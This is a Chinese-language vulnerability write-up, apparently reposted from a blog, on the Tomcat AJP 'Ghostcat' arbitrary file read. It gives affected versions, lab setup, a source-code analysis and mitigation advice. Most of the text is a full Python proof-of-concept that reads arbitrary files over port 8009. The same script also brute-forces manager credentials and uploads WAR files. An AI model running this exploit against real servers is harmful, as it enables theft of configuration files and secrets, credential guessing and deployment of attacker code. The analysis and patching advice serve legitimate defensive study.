漏洞简介
Tomcat 是常见的Web 容器, 用户量非常巨大, Tomcat 8009 ajp端口一直是默认开放的
影响组件
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
漏洞指纹
tomcat
8009
ajp
\x04\x01\xf4\x00\x15
漏洞分析
Jdk安装
https://www.oracle.com/java/technologies/javase-jdk8-downloads.html中选择对应版本进行安装
设置java环境变量
在电脑中右键属性->高级系统设置->高级->环境变量
依次设置变量
-
JAVA_HOME
-
D:\
jdk
-
-
JRE_HOME
-
D:\
jdk\
jre
-
-
CLASSPATH
-
%
JAVA_HOME%\
lib\
dt
.jar;%
JAVA_HOME%\
lib\
tools
.jar
查看是否环境变量是否配置好
Java -version
Tomcat7安装
在官网中点击Archives
我是64位windows所以选择64位的文件即可
在tomcat目录下的bin文件下的startup.bat启动
这个窗口不要关闭,浏览器输入127.0.0.1:8080即可
先给上poc
-
#!/usr/bin/env python
-
from ajpy.ajp
import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundException
-
from pprint
import pprint, pformat
-
-
import socket
-
import argparse
-
import logging
-
import re
-
import os
-
from StringIO
import StringIO
-
import logging
-
from colorlog
import ColoredFormatter
-
from urllib
import unquote
-
-
-
def setup_logger():
-
"""Return a logger with a default ColoredFormatter."""
-
formatter = ColoredFormatter(
-
"[%(asctime)s.%(msecs)03d] %(log_color)s%(levelname)-8s%(reset)s %(white)s%(message)s",
-
datefmt=
"%Y-%m-%d %H:%M:%S",
-
reset=
True,
-
log_colors={
-
'DEBUG':
'bold_purple',
-
'INFO':
'bold_green',
-
'WARNING':
'bold_yellow',
-
'ERROR':
'bold_red',
-
'CRITICAL':
'bold_red',
-
}
-
)
-
-
logger = logging.getLogger(
'meow')
-
handler = logging.StreamHandler()
-
handler.setFormatter(formatter)
-
logger.addHandler(handler)
-
logger.setLevel(logging.DEBUG)
-
-
return logger
-
-
-
logger = setup_logger()
-
-
-
# helpers
-
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
-
fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
-
fr.method = method
-
fr.protocol =
"HTTP/1.1"
-
fr.req_uri = req_uri
-
fr.remote_addr = target_host
-
fr.remote_host =
None
-
fr.server_name = target_host
-
fr.server_port =
80
-
fr.request_headers = {
-
'SC_REQ_ACCEPT':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
-
'SC_REQ_CONNECTION':
'keep-alive',
-
'SC_REQ_CONTENT_LENGTH':
'0',
-
'SC_REQ_HOST': target_host,
-
'SC_REQ_USER_AGENT':
'Mozilla/5.0 (X11; Linux x86_64; rv:46.0) Gecko/20100101 Firefox/46.0',
-
'Accept-Encoding':
'gzip, deflate, sdch',
-
'Accept-Language':
'en-US,en;q=0.5',
-
'Upgrade-Insecure-Requests':
'1',
-
'Cache-Control':
'max-age=0'
-
}
-
fr.is_ssl =
False
-
-
fr.attributes = []
-
-
return fr
-
-
-
class Tomcat(object):
-
def __init__(self, target_host, target_port):
-
self.target_host = target_host
-
self.target_port = target_port
-
-
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,
1)
-
self.socket.connect((target_host, target_port))
-
self.stream = self.socket.makefile(
"rb", bufsize=
0)
-
-
def test_password(self, user, password):
-
res =
False
-
stop =
False
-
self.forward_request.request_headers[
'SC_REQ_AUTHORIZATION'] =
"Basic " + (
"%s:%s" % (user, password)).encode(
-
'base64').replace(
'\n',
'')
-
while
not stop:
-
logger.debug(
"testing %s:%s" % (user, password))
-
responses = self.forward_request.send_and_receive(self.socket, self.stream)
-
snd_hdrs_res = responses[
0]
-
if snd_hdrs_res.http_status_code ==
404:
-
raise NotFoundException(
"The req_uri %s does not exist!" % self.req_uri)
-
elif snd_hdrs_res.http_status_code ==
302:
-
self.req_uri = snd_hdrs_res.response_headers.get(
'Location',
'')
-
logger.info(
"Redirecting to %s" % self.req_uri)
-
self.forward_request.req_uri = self.req_uri
-
elif snd_hdrs_res.http_status_code ==
200:
-
logger.info(
"Found valid credz: %s:%s" % (user, password))
-
res =
True
-
stop =
True
-
if
'Set-Cookie'
in snd_hdrs_res.response_headers:
-
logger.info(
"Here is your cookie: %s" % (snd_hdrs_res.response_headers.get(
'Set-Cookie',
'')))
-
elif snd_hdrs_res.http_status_code ==
403:
-
logger.info(
"Found valid credz: %s:%s but the user is not authorized to access this resource" % (
-
user, password))
-
stop =
True
-
elif snd_hdrs_res.http_status_code ==
401:
-
stop =
True
-
-
return res
-
-
def start_bruteforce(self, users, passwords, req_uri, autostop):
-
logger.info(
"Attacking a tomcat at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
-
self.req_uri = req_uri
-
self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri)
-
-
f_users = open(users,
"r")
-
f_passwords = open(passwords,
"r")
-
-
valid_credz = []
-
try:
-
for user
in f_users:
-
f_passwords.seek(
0,
0)
-
for password
in f_passwords:
-
if autostop
and len(valid_credz) >
0:
-
self.socket.close()
-
return valid_credz
-
-
user = user.rstrip(
'\n')
-
password = password.rstrip(
'\n')
-
if self.test_password(user, password):
-
valid_credz.append((user, password))
-
except NotFoundException
as e:
-
logger.fatal(e.message)
-
finally:
-
logger.debug(
"Closing socket...")
-
self.socket.close()
-
return valid_credz
-
-
def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
-
self.req_uri = req_uri
-
self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri,
-
method=AjpForwardRequest.REQUEST_METHODS.get(method))
-
logger.debug(
"Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
-
if user
is
not
None
and password
is
not
None:
-
self.forward_request.request_headers[
'SC_REQ_AUTHORIZATION'] =
"Basic " + (
-
"%s:%s" % (user, password)).encode(
'base64').replace(
'\n',
'')
-
-
for h
in headers:
-
self.forward_request.request_headers[h] = headers[h]
-
-
for a
in attributes:
-
self.forward_request.attributes.append(a)
-
-
responses = self.forward_request.send_and_receive(self.socket, self.stream)
-
print(responses)
-
if len(responses) ==
0:
-
return
None,
None
-
-
snd_hdrs_res = responses[
0]
-
-
data_res = responses[
1:
-1]
-
if len(data_res) ==
0:
-
logger.info(
"No data in response. Headers:\n %s" % pformat(vars(snd_hdrs_res)))
-
-
return snd_hdrs_res, data_res
-
-
def upload(self, filename, user, password, old_version, headers={}):
-
deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
-
with open(filename,
"rb")
as f_input:
-
with open(
"/tmp/request",
"w+b")
as f:
-
s_form_header =
'------WebKitFormBoundaryb2qpuwMoVtQJENti\r\nContent-Disposition: form-data; name="deployWar"; filename="%s"\r\nContent-Type: application/octet-stream\r\n\r\n' % os.path.basename(
-
filename)
-
s_form_footer =
'\r\n------WebKitFormBoundaryb2qpuwMoVtQJENti--\r\n'
-
f.write(s_form_header)
-
f.write(f_input.read())
-
f.write(s_form_footer)
-
-
data_len = os.path.getsize(
"/tmp/request")
-
-
headers = {
-
"SC_REQ_CONTENT_TYPE":
"multipart/form-data; boundary=----WebKitFormBoundaryb2qpuwMoVtQJENti",
-
"SC_REQ_CONTENT_LENGTH":
"%d" % data_len,
-
"SC_REQ_REFERER":
"http://%s/manager/html/" % (self.target_host),
-
"Origin":
"http://%s" % (self.target_host),
-
}
-
if obj_cookie
is
not
None:
-
headers[
"SC_REQ_COOKIE"] = obj_cookie.group(
'cookie')
-
-
attributes = [{
"name":
"req_attribute",
"value": (
"JK_LB_ACTIVATION",
"ACT")},
-
{
"name":
"req_attribute",
"value": (
"AJP_REMOTE_PORT",
"12345")}]
-
if old_version ==
False:
-
attributes.append({
"name":
"query_string",
"value": deploy_csrf_token})
-
old_apps = self.list_installed_applications(user, password, old_version)
-
r = self.perform_request(
"/manager/html/upload", headers=headers, method=
"POST", user=user, password=password,
-
attributes=attributes)
-
-
with open(
"/tmp/request",
"rb")
as f:
-
br = AjpBodyRequest(f, data_len, AjpBodyRequest.SERVER_TO_CONTAINER)
-
br.send_and_receive(self.socket, self.stream)
-
-
r = AjpResponse.receive(self.stream)
-
if r.prefix_code == AjpResponse.END_RESPONSE:
-
logger.error(
'Upload failed')
-
-
while r.prefix_code != AjpResponse.END_RESPONSE:
-
r = AjpResponse.receive(self.stream)
-
logger.debug(
'Upload seems normal. Checking...')
-
new_apps = self.list_installed_applications(user, password, old_version)
-
if len(new_apps) == len(old_apps) +
1
and new_apps[:
-1] == old_apps:
-
logger.info(
'Upload success!')
-
else:
-
logger.error(
'Upload failed')
-
-
def get_error_page(self):
-
return self.perform_request(
"/blablablablabla")
-
-
def get_version(self):
-
hdrs, data = self.get_error_page()
-
for d
in data:
-
s = re.findall(
'(Apache Tomcat/[0-9\.]+) ', d.data)
-
if len(s) >
0:
-
return s[
0]
-
-
def get_csrf_token(self, user, password, old_version, headers={}, query=[]):
-
# first we request the manager page to get the CSRF token
-
hdrs, rdata = self.perform_request(
"/manager/html", headers=headers, user=user, password=password)
-
deploy_csrf_token = re.findall(
'(org.apache.catalina.filters.CSRF_NONCE=[0-9A-F]*)"',
-
"".join([d.data
for d
in rdata]))
-
if old_version ==
False:
-
if len(deploy_csrf_token) ==
0:
-
logger.critical(
"Failed to get CSRF token. Check the credentials")
-
return
-
-
logger.debug(
'CSRF token = %s' % deploy_csrf_token[
0])
-
obj = re.match(
"(?P<cookie>JSESSIONID=[0-9A-F]*); Path=/manager(/)?; HttpOnly",
-
hdrs.response_headers.get(
'Set-Cookie',
''))
-
if obj
is
not
None:
-
return deploy_csrf_token[
0], obj
-
return deploy_csrf_token[
0],
None
-
-
def list_installed_applications(self, user, password, old_version, headers={}):
-
deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
-
headers = {
-
"SC_REQ_CONTENT_TYPE":
"application/x-www-form-urlencoded",
-
"SC_REQ_CONTENT_LENGTH":
"0",
-
"SC_REQ_REFERER":
"http://%s/manager/html/" % (self.target_host),
-
"Origin":
"http://%s" % (self.target_host),
-
}
-
if obj_cookie
is
not
None:
-
headers[
"SC_REQ_COOKIE"] = obj_cookie.group(
'cookie')
-
-
attributes = [{
"name":
"req_attribute",
"value": (
"JK_LB_ACTIVATION",
"ACT")},
-
{
"name":
"req_attribute",
-
"value": (
"AJP_REMOTE_PORT",
"{}".format(self.socket.getsockname()[
1]))}]
-
if old_version ==
False:
-
attributes.append({
-
"name":
"query_string",
"value":
"%s" % deploy_csrf_token})
-
hdrs, data = self.perform_request(
"/manager/html/", headers=headers, method=
"GET", user=user, password=password,
-
attributes=attributes)
-
found = []
-
for d
in data:
-
im = re.findall(
'/manager/html/expire\?path=([^&]*)&', d.data)
-
for app
in im:
-
found.append(unquote(app))
-
return found
-
-
def undeploy(self, path, user, password, old_version, headers={}):
-
deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
-
path_app =
"path=%s" % path
-
headers = {
-
"SC_REQ_CONTENT_TYPE":
"application/x-www-form-urlencoded",
-
"SC_REQ_CONTENT_LENGTH":
"0",
-
"SC_REQ_REFERER":
"http://%s/manager/html/" % (self.target_host),
-
"Origin":
"http://%s" % (self.target_host),
-
}
-
if obj_cookie
is
not
None:
-
headers[
"SC_REQ_COOKIE"] = obj_cookie.group(
'cookie')
-
-
attributes = [{
"name":
"req_attribute",
"value": (
"JK_LB_ACTIVATION",
"ACT")},
-
{
"name":
"req_attribute",
-
"value": (
"AJP_REMOTE_PORT",
"{}".format(self.socket.getsockname()[
1]))}]
-
if old_version ==
False:
-
attributes.append({
-
"name":
"query_string",
"value":
"%s&%s" % (path_app, deploy_csrf_token)})
-
r = self.perform_request(
"/manager/html/undeploy", headers=headers, method=
"POST", user=user, password=password,
-
attributes=attributes)
-
r = AjpResponse.receive(self.stream)
-
if r.prefix_code == AjpResponse.END_RESPONSE:
-
logger.error(
'Undeploy failed')
-
-
# Check the successful message
-
found =
False
-
regex =
r'<small><strong>Message:<\/strong><\/small> <\/td>\s*<td class="row-left"><pre>(OK - .*' + path +
')\s*<\/pre><\/td>'
-
while r.prefix_code != AjpResponse.END_RESPONSE:
-
r = AjpResponse.receive(self.stream)
-
if r.prefix_code ==
3:
-
f = re.findall(regex, r.data)
-
if len(f) >
0:
-
found =
True
-
if found:
-
logger.info(
'Undeploy succeed')
-
else:
-
logger.error(
'Undeploy failed')
-
-
-
if __name__ ==
"__main__":
-
-
-
parser = argparse.ArgumentParser()
-
parser.add_argument(
'target', type=str, help=
"Hostname or IP to attack")
-
parser.add_argument(
'-p',
'--port', type=int, default=
8009, help=
"AJP port to attack (default is 8009)")
-
parser.add_argument(
"-f",
'--file', type=str, default=
'WEB-INF/web.xml', help=
"file path :(WEB-INF/web.xml)")
-
args = parser.parse_args()
-
bf = Tomcat(args.target, args.port)
-
attributes = [
-
{
'name':
'req_attribute',
'value': [
'javax.servlet.include.request_uri',
'/']},
-
{
'name':
'req_attribute',
'value': [
'javax.servlet.include.path_info', args.file]},
-
{
'name':
'req_attribute',
'value': [
'javax.servlet.include.servlet_path',
'/']},
-
]
-
snd_hdrs_res, data_res = bf.perform_request(req_uri=
'/',method=
'GET', attributes=attributes)
-
print(
"".join([d.data
for d
in data_res]))
源码分析
先下载源码
多了java和test就是我们要的源码文件
在apache-tomcat-7.0.0-src\java\org\apache\coyote\ajp\AjpProcessor.java文件中
此时request才刚开始处理
在apache-tomcat-7.0.0-src\java\org\apache\coyote\ajp\AjpAprProtocol.java文件中
request.setAttribute位Tomcat设置任意request属性
在apache-tomcat-7.0.0-src\java\org\apache\catalina\connector\CoyoteAdapter.java文件中
postParseRequest函数进入到Servlet的处理流程
在apache-tomcat-7.0.0-src\java\org\apache\catalina\servlets\DefaultServlet.java文件中
通过DefaultServlet类的getRelativePath方法进行拼接获得path路径
在apache-tomcat-7.0.0-src\java\org\apache\catalina\core\ApplicationContext.java文件中
最后通过getResource方法中造成任意文件读取
在apache-tomcat-7.0.0-src\java\org\apache\jasper\servlet\JspServlet.java文件中
当ajp URL设置位jsp路径时,Tomcat会调用JspServlet的service方法处理
同样会获取javax.servlet.include.path_info、javax.servlet.include.servlet_path这两个属性(经过上面的分析我们已经知道可以通过ajp协议控制这两个属性)。将这两个属性对应的值拼接到jspURi变量中,最后交给serviceJspFile方法处理
防护方法
升级到最新版
屏蔽8009端口对外开放
如果还是要用的话
必须将YOUR_TOMCAT_AJP_SECRET更改为一个安全性高、无法被轻易猜解的值即可
<Connector port="8009"protocol="AJP/1.3" redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET"/>
转载:https://blog.csdn.net/xuandao_ahfengren/article/details/106239138